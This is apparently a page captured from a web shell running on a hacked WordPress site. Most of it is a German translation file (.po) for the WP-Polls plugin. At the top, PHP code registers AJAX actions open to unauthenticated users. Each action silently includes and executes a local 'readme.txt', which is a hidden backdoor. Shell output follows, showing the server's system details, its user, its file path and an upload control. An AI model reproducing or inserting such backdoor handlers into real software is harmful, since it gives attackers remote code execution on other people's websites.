if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } HEX
HEX
Server: Apache
System: Linux dx292 6.1.0-39-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.148-1 (2025-08-26) x86_64
User: www-data (33)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
$ pwd: /data/www/welovefamily.at/welovefamily.at/htdocs/wp-content/languages/plugins/
Upload Files
File: /data/www/welovefamily.at/welovefamily.at/htdocs/wp-content/languages/plugins/wp-polls-de_DE.po
# Translation of Plugins - WP-Polls - Stable (latest release) in German
# This file is distributed under the same license as the Plugins - WP-Polls - Stable (latest release) package.
msgid ""
msgstr ""
"PO-Revision-Date: 2024-11-14 03:14:23+0000\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=n != 1;\n"
"X-Generator: GlotPress/4.0.1\n"
"Language: de\n"
"Project-Id-Version: Plugins - WP-Polls - Stable (latest release)\n"

#: wp-polls.php:1350
msgid "Unable to obtain lock for Poll ID #%s"
msgstr "Sperre für Umfrage-ID #%s kann nicht gesetzt werden"

#: polls-options.php:309
msgid "Example: REMOTE_ADDR"
msgstr "Beispiel: REMOTE_ADDR"

#: polls-options.php:308
msgid "Header That Contains The IP:"
msgstr "Header, der die IP enthält:"

#: polls-options.php:309
msgid "You can leave it blank to use the default"
msgstr "Du kannst es leer lassen, um den Standard zu verwenden"

#: wp-polls.php:1365
msgid "No answers given for Poll ID #%s"
msgstr "Für die Umfrage-ID #%s wurden keine Antworten gegeben"

#: wp-polls.php:1361
msgid "User is not allowed to vote for Poll ID #%s"
msgstr "Benutzer darf nicht für Umfrage-ID %s stimmen"

#: polls-logs.php:328
msgid "Hashed IP / Host"
msgstr "Gehashte IP / Host"

#: polls-templates.php:267
msgid "Display the poll's mutiple answer percentage. This is total votes divided by total voters."
msgstr "Zeigt den Prozentsatz der Mehrfachantworten der Umfrage an. Dies ist die Gesamtzahl der Stimmen geteilt durch die Gesamtzahl der Wähler."

#: wp-polls.php:1357
msgid "Invalid Answer to Poll ID #%s"
msgstr "Ungültige Antwort zu Umfrage-ID #%s"

#: wp-polls.php:1784
msgid "Title:"
msgstr "Titel:"

#: polls-manager.php:251 polls-manager.php:441
msgid "Delete"
msgstr "Löschen"

#: polls-options.php:382 polls-templates.php:499
msgid "Save Changes"
msgstr "Änderungen speichern"

#: polls-manager.php:372
msgid "ID"
msgstr "ID"

#: polls-options.php:241 polls-options.php:266
msgid "Ascending"
msgstr "Aufsteigend"

#: polls-options.php:242 polls-options.php:267
msgid "Descending"
msgstr "Absteigend"

#: polls-manager.php:440
msgid "Edit"
msgstr "Bearbeiten"

#: polls-manager.php:378
msgid "Action"
msgstr "Aktion"

#: polls-manager.php:436
msgid "Closed"
msgstr "Geschlossen"

#: polls-manager.php:377
msgid "Status"
msgstr "Status"

#: wp-polls.php:1916
msgid "Bad"
msgstr "Schlecht"

#: wp-polls.php:1914
msgid "Good"
msgstr "Gut"

#: wp-polls.php:1187
msgid "Page %s of %s"
msgstr "Seite %s von %s"

#: wp-polls.php:1193
msgid "«"
msgstr "«"

#: wp-polls.php:1189
msgid "« First"
msgstr "« Erste Seite"

#: wp-polls.php:1203
msgid "»"
msgstr "»"

#: wp-polls.php:1207
msgid "Last »"
msgstr "Letzte Seite »"

#: polls-options.php:233 polls-options.php:258
msgid "Random Order"
msgstr "Zufällige Reihenfolge"

#: polls-options.php:335
msgid "Note"
msgstr "Hinweis"

#: polls-manager.php:19 polls-manager.php:217 polls-manager.php:336
msgid "Edit Poll"
msgstr "Umfrage bearbeiten"

#: polls-manager.php:143
msgid "Invalid Poll '%s'."
msgstr "Ungültige Umfrage '%s'."

#: polls-manager.php:263
msgid "Total Votes:"
msgstr "Stimmen insgesamt:"

#: polls-manager.php:268 polls-manager.php:475
msgid "Total Voters:"
msgstr "Wähler insgesamt:"

#: polls-manager.php:308
msgid "Edit Start Date/Time"
msgstr "Startdatum/-zeit bearbeiten"

#: polls-manager.php:419 polls-manager.php:423
msgid "Displayed:"
msgstr "Angezeigt:"

#: polls-manager.php:463
msgid "Total Polls:"
msgstr "Umfragen insgesamt:"

#: polls-manager.php:471
msgid "Total Votes Cast:"
msgstr "Insgesamt abgegebene Stimmen:"

#: polls-options.php:230 polls-options.php:255
msgid "Votes Cast"
msgstr "Abgegebene Stimmen"

#: polls-options.php:252
msgid "Sort Poll Results By:"
msgstr "Umfrageergebnisse sortieren nach:"

#: polls-options.php:305
msgid "seconds (0 to disable)"
msgstr "Sekunden (0 zum Deaktivieren)"

#: polls-options.php:348 wp-polls.php:1798
msgid "Display Random Poll"
msgstr "Zufällige Umfrage anzeigen"

#: polls-options.php:372
msgid "Display Poll's Results"
msgstr "Umfrage-Ergebnisse anzeigen"

#: wp-polls.php:228 wp-polls.php:1616
msgid "Delete Poll"
msgstr "Umfrage löschen"

#: wp-polls.php:252
msgid "Poll"
msgstr "Umfrage"

#: wp-polls.php:253 wp-polls.php:290
msgid "Enter Poll ID"
msgstr "Umfrage-ID eingeben"

#: wp-polls.php:293
msgid "Insert Poll"
msgstr "Umfrage einfügen"

#: wp-polls.php:1473
msgid "Invalid Poll ID"
msgstr "Ungültige Umfrage-ID"

#: wp-polls.php:1375
msgid "Poll ID #%s is closed"
msgstr "Umfrage-ID #%s ist geschlossen"

#: wp-polls.php:1917
msgid "Can Be Improved"
msgstr "Kann verbessert werden"

#: wp-polls.php:1918
msgid "No Comments"
msgstr "Keine Kommentare"

#. Plugin URI of the plugin
msgid "https://lesterchan.net/portfolio/programming/php/"
msgstr "https://lesterchan.net/portfolio/programming/php/"

#. Author URI of the plugin
msgid "https://lesterchan.net"
msgstr "https://lesterchan.net"

#: polls-options.php:277
msgid "Who Is Allowed To Vote?"
msgstr "Wer darf abstimmen?"

#. Plugin Name of the plugin
#: wp-polls.php:1716 wp-polls.php:1718 wp-polls.php:1728
msgid "WP-Polls"
msgstr "WP-Polls"

#: wp-polls.php:1612
msgid "Error Closing Poll '%s'"
msgstr "Fehler beim Schließen der Umfrage '%s'"

#: wp-polls.php:532 wp-polls.php:726
msgid "Loading"
msgstr "Wird geladen"

#: wp-polls.php:210
msgid "Please choose a valid poll answer."
msgstr "Bitte wähle eine gültige Umfrageantwort."

#: polls-templates.php:490
msgid "Poll Error"
msgstr "Umfragefehler"

#: polls-templates.php:360 polls-templates.php:376
msgid "Displayed When The User HAS Voted"
msgstr "Wird angezeigt, wenn der Benutzer abgestimmt hat"

#: polls-templates.php:344 polls-templates.php:396
msgid "Displayed When The User HAS NOT Voted"
msgstr "Wird angezeigt, wenn der Benutzer NICHT abgestimmt hat"

#: polls-templates.php:201
msgid "Display the poll's answer percentage"
msgstr "Zeigt den Antwortprozentsatz der Umfrage an"

#: polls-templates.php:187
msgid "Displays URL to poll's result"
msgstr "Zeigt die URL zum Umfrageergebnis an"

#: polls-options.php:374
msgid "Do Not Display Poll In Post/Sidebar"
msgstr "Umfrage nicht in Beitrag/Seitenleiste anzeigen"

#: polls-options.php:369
msgid "When Poll Is Closed"
msgstr "Wenn die Umfrage geschlossen ist"

#: polls-options.php:341 polls-options.php:344
msgid "Current Active Poll"
msgstr "Aktuelle aktive Umfrage"

#: polls-options.php:336
msgid "Only polls' results will be shown in the Poll Archive regardless of whether the poll is closed or opened."
msgstr "Nur die Umfrageergebnisse werden im Umfragearchiv angezeigt, unabhängig davon, ob die Umfrage geschlossen oder geöffnet ist."

#: polls-options.php:325
msgid "Opened Polls Only"
msgstr "Nur offene Umfragen"

#: polls-options.php:324
msgid "Closed Polls Only"
msgstr "Nur geschlossene Umfragen"

#: polls-options.php:317
msgid "Number Of Polls Per Page:"
msgstr "Anzahl der Umfragen pro Seite:"

#: polls-options.php:295
msgid "Do Not Log"
msgstr "Nicht protokollieren"

#: polls-options.php:232 polls-options.php:257
msgid "Alphabetical Order"
msgstr "Alphabetische Reihenfolge"

#: polls-options.php:227
msgid "Sort Poll Answers By:"
msgstr "Umfrageantworten sortieren nach:"

#: polls-options.php:224
msgid "Sorting Of Poll Answers"
msgstr "Sortierung der Umfrageantworten"

#: polls-options.php:204
msgid "Show Loading Image With Text"
msgstr "Ladebild mit Text anzeigen"

#: polls-options.php:91 polls-options.php:289
msgid "Logging Method"
msgstr "Protokollierungsmethode"

#: polls-manager.php:449
msgid "No Polls Found"
msgstr "Keine Umfragen gefunden"

#: polls-manager.php:434
msgid "Future"
msgstr "Zukunft"

#: polls-manager.php:432
msgid "Open"
msgstr "Offen"

#: polls-manager.php:137
msgid "No Changes Had Been Made To Poll's Answer '%s'."
msgstr "Es wurden keine Änderungen an der Umfrageantwort '%s' vorgenommen."

#: polls-logs.php:350
msgid "Total number of records that matches this filter: <strong>%s</strong>"
msgstr "Gesamtzahl der Datensätze, die diesem Filter entsprechen: <strong>%s</strong>"

#: polls-templates.php:59
msgid "Voting Form Header Template"
msgstr "Header-Template für das Umfrageformular"

#: polls-templates.php:60
msgid "Voting Form Body Template"
msgstr "Body-Template für das Umfrageformular"

#: polls-templates.php:61
msgid "Voting Form Footer Template"
msgstr "Footer-Template für das Umfrageformular"

#: polls-templates.php:63
msgid "Result Body Template"
msgstr "Body-Template für Ergebnisse"

#: polls-templates.php:64
msgid "Result Body2 Template"
msgstr "Body2-Template für Ergebnisse"

#: polls-templates.php:65
msgid "Result Footer Template"
msgstr "Footer-Template für Ergebnisse"

#: polls-templates.php:66
msgid "Result Footer2 Template"
msgstr "Footer2-Template für Ergebnisse"

#: polls-templates.php:67
msgid "Poll Archive Link Template"
msgstr "Link-Template für das Umfragearchiv"

#: polls-templates.php:68
msgid "Poll Archive Poll Header Template"
msgstr "Umfrage-Header-Template für das Umfragearchiv"

#: polls-templates.php:69
msgid "Poll Archive Poll Footer Template"
msgstr "Umfrage-Footer-Template für das Umfragearchiv"

#: polls-templates.php:70
msgid "Poll Archive Paging Header Template"
msgstr "Seitenzahlen-Header-Template für das Umfragearchiv"

#: polls-templates.php:71
msgid "Poll Archive Paging Footer Template"
msgstr "Seitenzahlen-Footer-Template für das Umfragearchiv"

#: polls-templates.php:72
msgid "Poll Disabled Template"
msgstr "Template für deaktivierte Umfragen"

#: polls-templates.php:73
msgid "Poll Error Template"
msgstr "Fehler-Template für Umfragen"

#: polls-options.php:104 polls-templates.php:83
msgid "No Poll Option Updated"
msgstr "Es wurde keine Umfrageoption aktualisiert"

#: polls-templates.php:112 wp-polls.php:1934
msgid "You Have Voted For This Choice"
msgstr "Du hast für diese Auswahl abgestimmt"

#: polls-manager.php:374 polls-templates.php:115 polls-templates.php:118
#: wp-polls.php:1936 wp-polls.php:1939
msgid "Total Voters"
msgstr "Wähler insgesamt"

#: polls-templates.php:281
msgid "Poll Voting Form Templates"
msgstr "Templates für das Umfrageformular"

#: polls-templates.php:285
msgid "Voting Form Header:"
msgstr "Header des Umfrageformulars:"

#: polls-templates.php:300
msgid "Voting Form Body:"
msgstr "Body des Umfrageformulars:"

#: polls-templates.php:313
msgid "Voting Form Footer:"
msgstr "Footer des Umfrageformulars:"

#: polls-templates.php:325
msgid "Poll Result Templates"
msgstr "Template des Umfrageergebnisses"

#: polls-templates.php:329
msgid "Result Header:"
msgstr "Header des Umfrageergebnisses:"

#: polls-templates.php:344 polls-templates.php:360
msgid "Result Body:"
msgstr "Body des Umfrageergebnisses:"

#: polls-templates.php:376 polls-templates.php:396
msgid "Result Footer:"
msgstr "Footer des Umfrageergebnisses:"

#: polls-templates.php:417
msgid "Poll Archive Templates"
msgstr "Template des Umfragearchivs"

#: polls-templates.php:421
msgid "Poll Archive Link"
msgstr "Link zum Umfragearchiv"

#: polls-templates.php:421
msgid "Template For Displaying Poll Archive Link"
msgstr "Template zur Darstellung des Links zum Umfragearchiv"

#: polls-templates.php:430
msgid "Individual Poll Header"
msgstr "Individueller Umfrage-Header"

#: polls-templates.php:439
msgid "Individual Poll Footer"
msgstr "Individueller Umfrage-Footer"

#: polls-templates.php:458
msgid "Paging Header"
msgstr "Header der Seitennummerierung"

#: polls-templates.php:467
msgid "Paging Footer"
msgstr "Footer der Seitennummerierung"

#: polls-templates.php:477
msgid "Poll Misc Templates"
msgstr "Verschiedene Umfrage-Templates"

#: polls-templates.php:481
msgid "Displayed When The Poll Is Disabled"
msgstr "Wird dargestellt, wenn eine Umfrage deaktiviert ist"

#: polls-templates.php:490
msgid "Displayed When An Error Has Occured While Processing The Poll"
msgstr "Wird dargestellt, wenn ein Fehler während einer Umfrage aufgetreten ist"

#: polls-manager.php:346 wp-polls.php:236 wp-polls.php:1590
msgid "Close Poll"
msgstr "Umfrage beenden"

#: wp-polls.php:1369
msgid "Invalid Poll ID. Poll ID #%s"
msgstr "Ungültige Umfrage-ID. Umfrage-ID #%s"

#: wp-polls.php:1418
msgid "Unable To Update Poll Total Votes And Poll Total Voters. Poll ID #%s"
msgstr "Die Gesamtanzahl an Stimmen und Wählern konnte nicht aktualisiert werden. Umfrage-ID #%s"

#: wp-polls.php:1560
msgid "Error In Deleting Poll Answer '%s'."
msgstr "Fehler beim Löschen der Umfrageantwort '%s'."

#: wp-polls.php:1628
msgid "Poll '%s' Deleted Successfully"
msgstr "Umfrage '%s' wurde erfolgreich entfernt"

#: polls-options.php:347 wp-polls.php:1797
msgid "Do NOT Display Poll (Disable)"
msgstr "Umfrage NICHT anzeigen (Deaktivieren)"

#: wp-polls.php:1915
msgid "Excellent"
msgstr "Exzellent"

#: polls-options.php:79 polls-options.php:145 polls-options.php:148
msgid "Poll Bar Style"
msgstr "Stil des Umfragebalkens"

#: polls-options.php:81
msgid "Sort Poll Answers By Option"
msgstr "Option: Umfrageantworten sortieren nach"

#: polls-options.php:82
msgid "Sort Order Of Poll Answers Option"
msgstr "Option: Sortierreihenfolge der Umfrageantworten"

#: polls-options.php:83
msgid "Sort Poll Results By Option"
msgstr "Option: Umfrageergebnisse sortieren nach"

#: polls-options.php:84
msgid "Sort Order Of Poll Results Option"
msgstr "Option: Sortierreihenfolge der Umfrageergebnisse"

#: polls-options.php:85
msgid "Number Of Polls Per Page To Display In Poll Archive Option"
msgstr "Option: Anzahl an Umfragen pro Seite, welche im Umfrage-Archiv angezeigt werden sollen"

#: polls-options.php:87
msgid "Poll Archive URL Option"
msgstr "Option: Link des Umfrage-Archivs"

#: polls-options.php:89
msgid "Current Active Poll Option"
msgstr "Option: Aktuelle aktive Umfrage"

#: polls-options.php:90
msgid "Poll Close Option"
msgstr "Option: Umfrage schließen"

#: polls-options.php:93
msgid "Allow To Vote Option"
msgstr "Option: Abstimmung erlauben"

#: polls-options.php:168
msgid "Use CSS Style"
msgstr "CSS-Stil verwenden"

#: polls-options.php:172
msgid "Poll Bar Background"
msgstr "Hintergrund des Umfragebalkens"

#: polls-options.php:182
msgid "Poll Bar Height"
msgstr "Höhe des Umfragebalkens"

#: polls-options.php:231 polls-options.php:256
msgid "Exact Order"
msgstr "Exakte Reihenfolge"

#: polls-options.php:238
msgid "Sort Order Of Poll Answers:"
msgstr "Reihenfolge der Umfrageantworten:"

#: polls-options.php:249
msgid "Sorting Of Poll Results"
msgstr "Reihenfolge der Umfrageergebnisse"

#: polls-options.php:263
msgid "Sort Order Of Poll Results:"
msgstr "Reihenfolge der Umfrageergebnisse:"

#: polls-options.php:274
msgid "Allow To Vote"
msgstr "Abstimmung erlauben"

#: polls-options.php:281
msgid "Registered Users Only"
msgstr "Nur registrierte Benutzer"

#: polls-options.php:282
msgid "Registered Users And Guests"
msgstr "Registrierte Benutzer und Gäste"

#: polls-options.php:314
msgid "Poll Archive"
msgstr "Umfragearchiv"

#: polls-options.php:331
msgid "Poll Archive URL:"
msgstr "URL des Umfragearchivs:"

#: polls-options.php:373
msgid "Display Disabled Poll's Voting Form"
msgstr "Umfrageformular der deaktivierten Umfrage anzeigen"

#: polls-manager.php:232
msgid "Answer Text"
msgstr "Text der Antwort"

#: polls-manager.php:233
msgid "No. Of Votes"
msgstr "Anzahl an Stimmen"

#: polls-manager.php:459
msgid "Polls Stats:"
msgstr "Umfragestatistiken:"

#: polls-manager.php:467
msgid "Total Polls' Answers:"
msgstr "Umfrageantworten insgesamt:"

#: polls-manager.php:439
msgid "Logs"
msgstr "Protokolle"

#: wp-polls.php:234 wp-polls.php:1547
msgid "Delete Poll Answer"
msgstr "Antwort der Umfrage löschen"

#: wp-polls.php:1479
msgid "Failed To Verify Referrer"
msgstr "Referrer konnte nicht verifiziert werden"

#: wp-polls.php:1795
msgid "Poll To Display:"
msgstr "Anzuzeigende Umfrage:"

#: wp-polls.php:1730
msgid "<strong>%s</strong> poll was created."
msgid_plural "<strong>%s</strong> polls were created."
msgstr[0] "<strong>%s</strong> Umfrage wurde erstellt."
msgstr[1] "<strong>%s</strong> Umfragen wurden erstellt."

#: polls-templates.php:103 polls-templates.php:118 wp-polls.php:1927
#: wp-polls.php:1940
msgid "Vote"
msgstr "Abstimmen"

#: polls-templates.php:103 wp-polls.php:1928
msgid "View Results Of This Poll"
msgstr "Ergebnisse dieser Umfrage anzeigen"

#: polls-templates.php:103 wp-polls.php:1928
msgid "View Results"
msgstr "Ergebnisse anzeigen"

#: polls-templates.php:109 polls-templates.php:112 wp-polls.php:1933
#: wp-polls.php:1934
msgid ","
msgstr ","

#: polls-templates.php:109 polls-templates.php:112 wp-polls.php:1933
#: wp-polls.php:1934
msgid "Votes"
msgstr "Stimmen"

#: polls-templates.php:118 wp-polls.php:1940
msgid "Vote For This Poll"
msgstr "Für diese Umfrage abstimmen"

#: polls-templates.php:121 wp-polls.php:1963
msgid "Polls Archive"
msgstr "Umfragearchiv"

#: polls-templates.php:127 wp-polls.php:1967
msgid "Start Date:"
msgstr "Startdatum:"

#: polls-templates.php:127 wp-polls.php:1967
msgid "End Date:"
msgstr "Enddatum:"

#: polls-templates.php:150 wp-polls.php:57
msgid "Poll Templates"
msgstr "Umfrage-Templates"

#: polls-templates.php:286 polls-templates.php:301 polls-templates.php:314
#: polls-templates.php:330 polls-templates.php:345 polls-templates.php:361
#: polls-templates.php:377 polls-templates.php:397 polls-templates.php:422
#: polls-templates.php:431 polls-templates.php:440 polls-templates.php:459
#: polls-templates.php:468 polls-templates.php:482 polls-templates.php:491
msgid "Allowed Variables:"
msgstr "Erlaubte Variablen:"

#: polls-templates.php:432 polls-templates.php:460 polls-templates.php:469
#: polls-templates.php:483 polls-templates.php:492
msgid "N/A"
msgstr "Keine Angabe"

#: polls-manager.php:367 wp-polls.php:52 wp-polls.php:1744 wp-polls.php:1778
msgid "Polls"
msgstr "Umfragen"

#: polls-manager.php:366 wp-polls.php:54
msgid "Manage Polls"
msgstr "Umfragen verwalten"

#: polls-options.php:94 polls-options.php:143 wp-polls.php:56
msgid "Poll Options"
msgstr "Umfrage-Optionen"

#: polls-manager.php:347 wp-polls.php:235 wp-polls.php:1564
msgid "Open Poll"
msgstr "Umfrage starten"

#: polls-manager.php:396 wp-polls.php:440 wp-polls.php:582 wp-polls.php:1044
msgid "No Expiry"
msgstr "Kein Ablaufdatum"

#: polls-options.php:280
msgid "Guests Only"
msgstr "Nur Gäste"

#: polls-options.php:99 polls-templates.php:78
msgid "Updated"
msgstr "Aktualisiert"

#: polls-templates.php:152
msgid "Template Variables"
msgstr "Template-Variablen"

#: polls-templates.php:481
msgid "Poll Disabled"
msgstr "Umfrage wurde deaktiviert"

#. Description of the plugin
msgid "Adds an AJAX poll system to your WordPress blog. You can easily include a poll into your WordPress's blog post/page. WP-Polls is extremely customizable via templates and css styles and there are tons of options for you to choose to ensure that WP-Polls runs the way you wanted. It now supports multiple selection of answers."
msgstr "Fügt deinem WordPress-Blog ein AJAX-Umfrage-System hinzu. Du kannst auf einfache Weise deiner WordPress-Seite oder deinem WordPress-Blogbeitrag eine Umfrage hinzufügen. WP-Polls kann mit Templates und CSS-Styles umfangreich angepasst werden und es kann aus einer Vielzahl an Optionen gewählt werden, um WP-Polls an die eigenen Bedürfnisse anzupassen. Es wird nun auch eine mehrfache Auswahl an Antworten unterstützt."

#: wp-polls.php:1911
msgid "How Is My Site?"
msgstr "Wie gefällt dir meine Website?"

#: wp-polls.php:1584
msgid "Poll '%s' Is Now Opened"
msgstr "Umfrage '%s' ist jetzt geöffnet."

#: polls-options.php:326
msgid "Closed And Opened Polls"
msgstr "Beendete und offene Umfragen"

#: polls-manager.php:231
msgid "Answer No."
msgstr "Antwort-Nr."

#: polls-manager.php:484
msgid "Polls Logs"
msgstr "Umfrageprotokolle"

#: polls-manager.php:493 wp-polls.php:230 wp-polls.php:1521
msgid "Delete All Logs"
msgstr "Alle Protokolle löschen"

#: polls-options.php:177
msgid "Poll Bar Border"
msgstr "Rand des Umfragebalkens"

#: polls-options.php:349 wp-polls.php:1799
msgid "Display Latest Poll"
msgstr "Neueste Umfrage anzeigen"

#: polls-options.php:292
msgid "Poll Logging Method:"
msgstr "Protokollierungsmethode der Umfrage:"

#: wp-polls.php:1743
msgid "WP-Polls polls"
msgstr "WP-Polls-Umfragen"

#: polls-logs.php:366
msgid "Delete Poll Logs"
msgstr "Umfrageprotokolle löschen"

#: wp-polls.php:1787
msgid "Display Polls Archive Link Below Poll?"
msgstr "Link zum Umfragearchiv unterhalb der Umfrage anzeigen?"

#: wp-polls.php:1732
msgid "<strong>%s</strong> vote was cast."
msgid_plural "<strong>%s</strong> votes were cast."
msgstr[0] "<strong>%s</strong> Stimme wurde abgegeben."
msgstr[1] "<strong>%s</strong> Stimmen wurden abgegeben."

#: wp-polls.php:1731
msgid "<strong>%s</strong> polls' answer was given."
msgid_plural "<strong>%s</strong> polls' answers were given."
msgstr[0] "<strong>%s</strong> Antwort zur Umfrage wurde abgegeben."
msgstr[1] "<strong>%s</strong> Antworten zur Umfrage wurden abgegeben."

#: wp-polls.php:1610
msgid "Poll '%s' Is Now Closed"
msgstr "Die Umfrage '%s' ist jetzt geschlossen."

#: wp-polls.php:1586
msgid "Error Opening Poll '%s'"
msgstr "Fehler beim Öffnen der Umfrage '%s'"

#: wp-polls.php:1558
msgid "Poll Answer '%s' Deleted Successfully."
msgstr "Die Umfrageantwort '%s' wurde erfolgreich entfernt."

#: wp-polls.php:1540
msgid "All Logs For '%s' Has Been Deleted."
msgstr "Alle Protokolle für '%s' wurden gelöscht."

#: wp-polls.php:1528
msgid "An Error Has Occurred While Deleting All Polls Logs."
msgstr "Beim Löschen aller Umfrageprotokolle ist ein Fehler aufgetreten."

#: wp-polls.php:1542
msgid "An Error Has Occurred While Deleting All Logs For '%s'"
msgstr "Beim Löschen aller Protokolle für '%s' ist ein Fehler aufgetreten"

#: wp-polls.php:1526
msgid "All Polls Logs Have Been Deleted."
msgstr "Alle Umfrageprotokolle wurden gelöscht."

#: wp-polls.php:1380
msgid "You Had Already Voted For This Poll. Poll ID #%s"
msgstr "Du hast bereits bei dieser Umfrage abgestimmt. Umfrage-ID #%s"

#: wp-polls.php:255 wp-polls.php:291
msgid "Error: Poll ID must be numeric"
msgstr "Fehler: Die Umfrage-ID muss numerisch sein"

#: wp-polls.php:791
msgid "Note: There is a poll embedded within this post, please visit the site to participate in this post's poll."
msgstr "Hinweis: In diesem Beitrag ist eine Umfrage eingebunden. Bitte besuche die Website, um an dieser Beitrags-Umfrage teilzunehmen."

#: wp-polls.php:255 wp-polls.php:292
msgid "Please enter Poll ID again"
msgstr "Bitte gib die Umfrage-ID erneut ein"

#: polls-templates.php:294 polls-templates.php:307 polls-templates.php:318
#: polls-templates.php:338 polls-templates.php:354 polls-templates.php:370
#: polls-templates.php:390 polls-templates.php:410 polls-templates.php:424
#: polls-templates.php:433 polls-templates.php:452 polls-templates.php:461
#: polls-templates.php:470 polls-templates.php:484 polls-templates.php:493
msgid "Restore Default Template"
msgstr "Standard-Template wiederherstellen"

#: polls-options.php:321
msgid "Type Of Polls To Display In Poll Archive:"
msgstr "Art der Umfragen, die im Umfragearchiv angezeigt werden sollen:"

#: polls-options.php:186
msgid "Your poll bar will look like this"
msgstr "Dein Umfragebalken wird folgendermaßen aussehen"

#: polls-manager.php:496 wp-polls.php:229
msgid "No poll logs available."
msgstr "Es sind keine Umfrageprotokolle verfügbar."

#: polls-manager.php:493
msgid "You are about to delete all poll logs. This action is not reversible."
msgstr "Du bist im Begriff, alle Umfrageprotokolle zu löschen. Diese Aktion ist unumkehrbar."

#: polls-manager.php:491
msgid "Are You Sure You Want To Delete All Polls Logs?"
msgstr "Bist du sicher, dass du alle Umfrageprotokolle löschen möchtest?"

#: polls-manager.php:441
msgid "You are about to delete this poll, '%s'."
msgstr "Du bist im Begriff, diese Umfrage zu löschen, '%s'."

#: polls-manager.php:347
msgid "You are about to OPEN this poll '%s'."
msgstr "Du bist im Begriff, die Umfrage '%s' zu starten."

#: polls-manager.php:346
msgid "You are about to CLOSE this poll '%s'."
msgstr "Du bist im Begriff, die Umfrage '%s' zu schließen."

#: polls-manager.php:317
msgid "This Poll Will Not Expire"
msgstr "Diese Umfrage wird nicht enden"

#: polls-manager.php:251
msgid "You are about to delete this poll's answer '%s'."
msgstr "Du bist im Begriff, die Umfrageantwort '%s' zu löschen."

#: polls-manager.php:177
msgid "Poll '%s' Edited Successfully."
msgstr "Die Umfrage '%s' wurde erfolgreich bearbeitet."

#: polls-manager.php:170
msgid "Poll's Answer '%s' Added Successfully."
msgstr "Die Antwort '%s' wurde der Umfrage erfolgreich hinzugefügt."

#: polls-manager.php:139
msgid "Poll's Answer '%s' Edited Successfully."
msgstr "Die Frage '%s' der Umfrage wurde erfolgreich bearbeitet."

#: polls-manager.php:105
msgid "No Changes Had Been Made To Poll's Question '%s'."
msgstr "Es wurden keine Änderungen an der Frage '%s' der Umfrage vorgenommen."

#: polls-logs.php:372 wp-polls.php:232 wp-polls.php:1533
msgid "Delete Logs For This Poll Only"
msgstr "Protokolle nur für diese Umfrage löschen"

#: polls-logs.php:359 polls-logs.php:375
msgid "No poll logs available for this poll."
msgstr "Für diese Umfrage sind keine Umfrageprotokolle verfügbar."

#: polls-logs.php:357
msgid "No poll logs matches the filter."
msgstr "Keine Umfrageprotokolle entsprechen dem Filter."

#: polls-logs.php:370
msgid "Are You Sure You Want To Delete Logs For This Poll Only?"
msgstr "Bist du sicher, dass du die Protokolle nur für diese Umfrage löschen möchtest?"

#: wp-polls.php:211
msgid "Maximum number of choices allowed: "
msgstr "Maximal zulässige Anzahl an Auswahlmöglichkeiten: "

#: wp-polls.php:209
msgid "Your last request is still being processed. Please wait a while ..."
msgstr "Deine letzte Anfrage ist noch in Bearbeitung. Bitte warte einen Moment …"

#: polls-templates.php:439
msgid "Displayed After Each Poll In The Poll Archive"
msgstr "Wird nach jeder Umfrage im Umfrage-Archiv dargestellt"

#: polls-templates.php:430
msgid "Displayed Before Each Poll In The Poll Archive"
msgstr "Wird vor jeder Umfrage im Umfrage-Archiv dargestellt"

#: polls-options.php:92
msgid "Cookie And Log Expiry Option"
msgstr "Option zum Verfall von Cookies und Protokollen"

#: polls-templates.php:136 wp-polls.php:1942
msgid "Sorry, there are no polls available at the moment."
msgstr "Im Moment sind leider keine Umfragen verfügbar."

#: wp-polls.php:1625
msgid "Error In Deleting Poll '%s' Question"
msgstr "Fehler beim Löschen der Frage '%s'"

#: polls-options.php:299
msgid "Logged By Username"
msgstr "Protokolliert mittels Benutzername"

#: polls-options.php:298
msgid "Logged By Cookie And IP"
msgstr "Protokolliert mittels Cookie und IP-Adresse"

#: polls-options.php:297
msgid "Logged By IP"
msgstr "Protokolliert mittels IP"

#: polls-options.php:296
msgid "Logged By Cookie"
msgstr "Protokolliert mittels Cookie"

#: polls-templates.php:62
msgid "Result Header Template"
msgstr "Template für Ergebnis-Header"

#: polls-options.php:304
msgid "Expiry Time For Cookie And Log:"
msgstr "Verfallszeit für Cookie und Protokoll:"

#: polls-templates.php:467
msgid "Displayed After Paging In The Poll Archive"
msgstr "Wird nach der Seitennummerierung im Archiv dargestellt"

#: polls-templates.php:458
msgid "Displayed Before Paging In The Poll Archive"
msgstr "Wird vor der Seitennummerierung im Archiv dargestellt"

#: polls-templates.php:275
msgid "Note: <strong>%POLL_TOTALVOTES%</strong> and <strong>%POLL_TOTALVOTERS%</strong> will be different if your poll supports multiple answers. If your poll allows only single answer, both value will be the same."
msgstr "Hinweis: <strong>%POLL_TOTALVOTES%</strong> und <strong>%POLL_TOTALVOTERS%</strong> unterscheiden sich, wenn deine Umfrage mehrere Antworten unterstützt. Wenn deine Umfrage nur eine einzelne Antwort zulässt, sind beide Werte gleich."

#: polls-options.php:201
msgid "Polls AJAX Style"
msgstr "AJAX-Stil der Umfrage"

#: polls-logs.php:379 polls-manager.php:500
msgid "Note: If your logging method is by IP and Cookie or by Cookie, users may still be unable to vote if they have voted before as the cookie is still stored in their computer."
